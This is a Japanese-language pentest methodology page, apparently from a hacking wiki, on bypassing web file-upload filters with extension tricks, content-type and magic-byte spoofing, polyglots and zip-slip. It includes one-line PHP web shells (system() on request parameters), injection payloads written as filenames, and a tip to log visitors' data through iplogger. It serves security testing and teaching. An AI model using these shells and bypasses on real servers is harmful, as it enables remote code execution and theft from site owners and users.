File Upload
ハッキングキャリアに興味がある方、そして解読不能なものをハックしたい方 - 採用中です!(流暢なポーランド語の読み書きが必要です)。
ファイルアップロード一般的な方法論
他の便利な拡張子:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
PHPv8で動作: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
ファイル拡張子チェックのバイパス
適用されている場合は、前の拡張子をチェックしてください。いくつかの大文字を使用してテストしてください: pHp, .pHP5, .PhAr ...
実行拡張子の前に有効な拡張子を追加することをチェックしてください(前の拡張子も使用してください):
file.png.php
file.png.Php5
末尾に特殊文字を追加してみてください。Burpを使用してすべてのasciiおよびUnicode文字をブルートフォースすることができます。 (以前に言及された拡張子も使用できます)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
サーバーサイドの拡張子パーサーをだますために、拡張子を2重化したり、拡張子間にジャンクデータ(ヌルバイト)を追加したりするなどのテクニックを使用して、保護をバイパスしようとしてみてください。(より良いペイロードを準備するために以前の拡張子も使用できます)
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
前のチェックに別の拡張子のレイヤーを追加してください:
file.png.jpg.php
file.php%00.png%00.jpg
有効な拡張子の前に実行拡張子を配置し、サーバーが誤って構成されていることを期待してください。 (拡張子が**.phpで終わらないが、.php**であるものを実行するApacheの誤構成を悪用するのに役立ちます):
例: file.php.png
WindowsでNTFS代替データストリーム(ADS)を使用します。この場合、禁止された拡張子の後ろにコロン文字「:」が挿入され、許可された拡張子の前に挿入されます。その結果、サーバーに禁止された拡張子の空のファイルが作成されます(例:「file.asax:.jpg」)。このファイルは後で他のテクニックを使用して編集できる場合があります。たとえば、その短いファイル名を使用することができます。 「::$data」パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立つかもしれません(例:「file.asp::$data.」)
ファイル名の制限を破るようにしてみてください。有効な拡張子が切り捨てられ、悪意のあるPHPが残されます。AAA<--SNIP-->AAA.php
コンテンツタイプ、マジックナンバー、圧縮、リサイズのバイパス
Content-Type チェックをバイパスするには、Content-Type ヘッダーの 値 を以下に設定します: image/png , text/plain , application/octet-stream
マジックナンバー チェックをバイパスするには、ファイルの先頭に 実際の画像のバイト を追加します(file コマンドを混乱させる)。または メタデータ 内にシェルを導入します:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
または画像に ペイロードを直接導入 することもできます:echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
画像に 圧縮が追加されている 場合、たとえば PHP-GD のような標準の PHP ライブラリを使用している場合、前述のテクニックは役立ちません。ただし、PLTE チャンク こちらで定義されたテクニック を使用して、圧縮を生き残る テキストを挿入できます。
ウェブページは 画像をリサイズ する場合があります。たとえば、PHP-GD 関数
imagecopyresized
またはimagecopyresampled
を使用しています。ただし、IDAT チャンク こちらで定義されたテクニック を使用して、圧縮を生き残る テキストを挿入できます。画像のリサイズを生き残るペイロード を作成する別のテクニックとして、PHP-GD 関数
thumbnailImage
を使用できます。ただし、tEXt チャンク こちらで定義されたテクニック を使用して、圧縮を生き残る テキストを挿入できます。
その他のチェックトリック
アップロード済みのファイルの 名前を変更 する脆弱性を見つけます(拡張子を変更)。
バックドアを実行するための ローカルファイルインクルージョン 脆弱性を見つけます。
可能な情報漏洩:
同じ名前 の 同じファイル を 複数回 (かつ 同時に )アップロードします。
既に存在する ファイル または フォルダ の 名前 を持つファイルをアップロードします。
ファイルを “.”, “..”, または “…” としてアップロードします。たとえば、Apache の Windows では、アプリケーションがアップロードされたファイルを “/www/uploads/” ディレクトリに保存する場合、ファイル名 “.” は “/www/” ディレクトリに “uploads” というファイルを作成します。
NTFS での “…:.jpg” のように簡単に削除できないファイルをアップロードします(Windows)。
名前に
|<>*?”
のような 無効な文字 を含むファイルを Windows にアップロードします(Windows)。CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9 のような 予約済み(禁止) 名前 を使用して Windows にファイルをアップロードします。
実行可能ファイル(.exe)または誤って開かれた場合にコードを実行する可能性のある .html(疑わしいものより)をアップロードしようとします。
特別な拡張子のトリック
PHPサーバー にファイルをアップロードしようとしている場合は、.htaccess トリックでコードを実行する方法 をご覧ください。 ASPサーバー にファイルをアップロードしようとしている場合は、.config トリックでコードを実行する方法 をご覧ください。
.phar
ファイルは、Java の .jar
に似ていますが、PHP 用であり、PHP で実行したり、スクリプト内に含めたりすることができます。
.inc
拡張子は、ファイルを インポート するためだけに使用されることがある PHP ファイルに使用されることがありますので、いつかは この拡張子を実行できるように 許可されているかもしれません。
Jetty RCE
Jetty サーバーに XML ファイルをアップロードできる場合、新しい *.xml および *.war は自動的に処理される ため、RCE を取得できます。 したがって、次の画像に示すように、XML ファイルを $JETTY_BASE/webapps/
にアップロードしてシェルを期待します!
uWSGI RCE
この脆弱性の詳細な調査については、元の研究をご覧ください: uWSGI RCE Exploitation。
リモートコマンド実行(RCE)の脆弱性は、.ini
構成ファイルを変更できる場合に uWSGI サーバーで悪用できます。 uWSGI 構成ファイルは、ファイルの内容を含めるために特定の構文を活用しており、'@' 演算子、@(filename)
として使用されるものがあります。 uWSGI でサポートされているさまざまなスキームの中で、"exec" スキームは特に強力であり、プロセスの標準出力からデータを読み取ることができます。 この機能は、.ini
構成ファイルが処理される際に、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に悪用される可能性があります。
次の有害な uwsgi.ini
ファイルの例を考えてみましょう。さまざまなスキームを示しています:
ペイロードの実行は、構成ファイルの解析中に発生します。構成を有効化および解析するためには、uWSGIプロセスを再起動する必要があります(クラッシュ後またはDoS攻撃の結果として)またはファイルを自動再読み込みに設定する必要があります。自動再読み込み機能が有効になっている場合、変更を検出すると指定された間隔でファイルが再読み込まれます。
uWSGIの構成ファイルの解析の寛容な性質を理解することが重要です。具体的には、議論されているペイロードは、バイナリファイル(画像やPDFなど)に挿入することができ、潜在的な悪用の範囲をさらに広げることができます。
wgetファイルアップロード/SSRFトリック
場合によっては、サーバーが**wget
を使用してファイルをダウンロードし、URLを指定できることがあります。これらの場合、コードはダウンロードされるファイルの拡張子がホワイトリスト内にあることを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。ただし、このチェックをバイパスすることができます。
Linuxにおけるファイル名の最大長は255ですが、wgetはファイル名を236文字に切り詰めます。"A"*232+".php"+".gif"という名前のファイルをダウンロードできます。このファイル名はチェックをバイパスします(この例では".gif"が有効な拡張子であるため)、しかしwget
はファイルを"A"*232+".php"にリネーム**します。
別のオプションとして、このチェックをバイパスするために考えているかもしれないのは、HTTPサーバーを別のファイルにリダイレクトさせることです。そのため、初期のURLはチェックをバイパスしますが、その後wgetが新しい名前でリダイレクトされたファイルをダウンロードします。これは、wgetが--trust-server-names
パラメータとともに使用されている場合にのみ機能します。なぜなら、wgetはリダイレクトされたページを元のURLで指定されたファイル名でダウンロードするからです。
ツール
Upload Bypass は、ファイルアップロードメカニズムのテストを支援するために設計された強力なツールです。さまざまなバグバウンティテクニックを活用して、Webアプリケーションの包括的な評価を確実にすることで、脆弱性の特定と悪用のプロセスを簡素化します。
ファイルアップロードから他の脆弱性へ
ファイル名を
../../../tmp/lol.png
に設定して、パストラバーサルを試みるファイル名を
sleep(10)-- -.jpg
に設定して、SQLインジェクションを達成する可能性がありますファイル名を
<svg onload=alert(document.domain)>
に設定して、XSSを達成するファイル名を
; sleep 10;
に設定して、いくつかのコマンドインジェクションをテストする(詳細はこちら)JSファイルのアップロード + XSS = Service Workersの悪用
SVGファイルのアップロードを通じたオープンリダイレクト
https://github.com/allanlw/svg-cheatsheetから異なるsvgペイロードを試してみてください
Webサーバーに画像を取得するよう指示できる場合、SSRFを悪用してみることができます。この画像が公開サイトに保存される場合、https://iplogger.org/invisible/からのURLを指定して、すべての訪問者の情報を盗むこともできます。
特に作成されたPDFを使用したXSS:次のページでは、PDFデータを注入してJSを実行する方法が示されています。PDFをアップロードできる場合は、指示に従って任意のJSを実行するPDFを準備できます。
[eicar](https://secure.eicar.org/eicar.com.txt)のコンテンツをアップロードして、サーバーにアンチウイルスがあるかどうかを確認します
ファイルをアップロードする際のサイズ制限があるかどうかを確認します
以下は、アップロードによって達成できるトップ10のことです(こちらから):
ASP / ASPX / PHP5 / PHP / PHP3:Webshell / RCE
SVG:Stored XSS / SSRF / XXE
GIF:Stored XSS / SSRF
CSV:CSVインジェクション
XML:XXE
AVI:LFI / SSRF
HTML / JS:HTMLインジェクション / XSS / オープンリダイレクト
PNG / JPEG:ピクセルフラッド攻撃(DoS)
ZIP:LFI経由のRCE / DoS
PDF / PPTX:SSRF / BLIND XXE
Burp拡張機能
マジックヘッダーバイト
PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG:
"\xff\xd8\xff"
他のファイルタイプについては、https://en.wikipedia.org/wiki/List_of_file_signaturesを参照してください。
Zip/Tarファイルの自動解凍アップロード
サーバー内で解凍されるZIPをアップロードできる場合、次の2つのことができます:
シンボリックリンク
他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることで、リンクされたファイルにアクセスできます:
異なるフォルダーに解凍
解凍中にディレクトリにファイルが予期せず作成されることは重大な問題です。悪意のあるファイルのアップロードを通じたOSレベルのコマンド実行を防ぐかもしれないと最初に想定されたにもかかわらず、ZIPアーカイブ形式の階層圧縮サポートとディレクトリトラバーサル機能は悪用される可能性があります。これにより、攻撃者は対象アプリケーションの解凍機能を操作して、制限を回避し、安全なアップロードディレクトリから脱出することができます。
このようなファイルを作成するための自動化されたエクスプロイトは、GitHubのevilarcで利用可能です。このユーティリティは次のように使用できます:
さらに、evilarcを使用したsymlinkトリックも選択肢の一つです。/flag.txt
のようなファイルをターゲットにする場合、そのファイルへのsymlinkをシステムに作成する必要があります。これにより、evilarcが操作中にエラーに遭遇しないようになります。
以下は、悪意のあるzipファイルを作成するために使用されるPythonコードの例です:
ファイルスプレーのための圧縮の乱用
詳細については、以下の元の投稿を参照してください: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
PHPシェルの作成: PHPコードは、
$_REQUEST
変数を介して渡されたコマンドを実行するために書かれています。
ファイルスプレーと圧縮ファイルの作成: 複数のファイルが作成され、これらのファイルを含むzipアーカイブが組み立てられます。
ヘックスエディタまたはviでの修正: zip内のファイル名を変更し、viまたはヘックスエディタを使用して、「xxA」をディレクトリを横断するための「../」に変更します。
ImageTragic
このコンテンツを画像拡張子でアップロードして脆弱性を悪用します (ImageMagick , 7.0.1-1) (exploit)
PNGにPHPシェルを埋め込む
PNGファイルのIDATチャンクにPHPシェルを埋め込むことは、特定の画像処理操作を効果的にバイパスすることができます。PHP-GDのimagecopyresized
およびimagecopyresampled
関数は、画像のリサイズやリサンプリングに一般的に使用されるため、この文脈で特に関連があります。埋め込まれたPHPシェルがこれらの操作に影響を受けない能力は、特定のユースケースにおいて重要な利点となります。
この技術の詳細な探求、方法論、および潜在的な応用については、次の記事で提供されています: "PNG IDATチャンクにWebシェルをエンコードする"。このリソースは、プロセスとその影響について包括的な理解を提供しています。
詳細はこちら: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
ポリグロットファイル
ポリグロットファイルは、サイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式で正当に存在できるカメレオンとして機能します。興味深い例として、GIFARがあります。これはGIFとRARアーカイブの両方として機能するハイブリッドです。このようなファイルはこのペアリングに限定されず、GIFとJSやPPTとJSなどの組み合わせも可能です。
ポリグロットファイルの主な利点は、ファイルの種類に基づいてファイルをスクリーニングするセキュリティ対策を回避する能力にあります。さまざまなアプリケーションでの一般的な慣行は、JPEG、GIF、またはDOCなどの特定のファイル形式のみをアップロード可能とし、潜在的に有害な形式(例: JS、PHP、またはPharファイル)によるリスクを軽減することです。しかし、ポリグロットは、複数のファイル形式の構造基準に準拠することで、これらの制限を巧妙にバイパスすることができます。
ポリグロットは適応性がある一方で、制限に遭遇することがあります。たとえば、ポリグロットがPHARファイル(PHp ARchive)とJPEGを同時に表現していても、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーにかかってくるかもしれません。システムが許可される拡張子に厳格である場合、単なる構造的な二重性だけではアップロードが保証されないかもしれません。
詳細はこちら: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
参考文献
ハッキングキャリアに興味があり、解読不能なものをハックしたい場合は、採用中です!(流暢なポーランド語の読み書きが必要です)。
Last updated